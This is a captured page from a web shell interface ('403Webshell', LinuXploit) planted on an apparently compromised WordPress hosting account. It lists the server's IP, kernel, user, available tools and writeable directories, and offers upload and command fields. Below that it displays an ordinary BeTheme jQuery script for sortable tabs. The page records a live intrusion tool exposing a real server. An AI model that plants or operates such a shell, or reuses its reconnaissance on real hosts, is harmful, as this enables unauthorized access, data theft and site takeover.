403Webshell
Server IP : 145.239.37.162  /  Your IP : 216.73.217.126
Web Server : Apache
System : Linux webm003.cluster130.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaa ( 38250)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaa/www_old/wp-content/themes/betheme/muffin-options/fields/tabs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaa/www_old/wp-content/themes/betheme/muffin-options/fields/tabs/field_tabs.js
(function($) {

  /* globals jQuery */

  "use strict";

  function mfnFieldTabs() {

    // sortable init

    $('#mfn-builder').on('mouseenter', '.tabs-ul', function(e) {
      $('.tabs-ul').sortable({
        handle: 'label',
        cursor: 'move',
        opacity: 0.9
      });
    });

    // add new tab

    $('#mfn-builder').on('click', '.mfn-add-tab', function(e) {

      // increase tabs counter

      var count = $(this).siblings('.mfn-tabs-count');
      count.val(count.val() * 1 + 1);

      var name = $(this).attr('rel-name');
      var wrapper = $(this).siblings('.tabs-ul');
      var newTab = wrapper.children('li.tabs-default').clone(true);

      newTab.removeClass('tabs-default');
      newTab.children('input').attr('name', name + '[title][]');
      newTab.children('textarea').attr('name', name + '[content][]');

      wrapper
        .append(newTab)
        .children('li:last')
        .fadeIn(500);

    });

    // remove tab

    $('#mfn-builder').on('click', '.mfn-remove-tab', function(e) {
      e.preventDefault();

      // decrease tabs counter

      var count = $(this).parents('td').children('.mfn-tabs-count');
      count.val(count.val() * 1 - 1);

      $(this).parent().fadeOut(300, function() {
        $(this).remove();
      });

    });

  }

  /**
   * $(document).ready
   * Specify a function to execute when the DOM is fully loaded.
   */

  $(function($) {
    mfnFieldTabs();
  });

})(jQuery);

Youez - 2016 - github.com/yon3zu
LinuXploit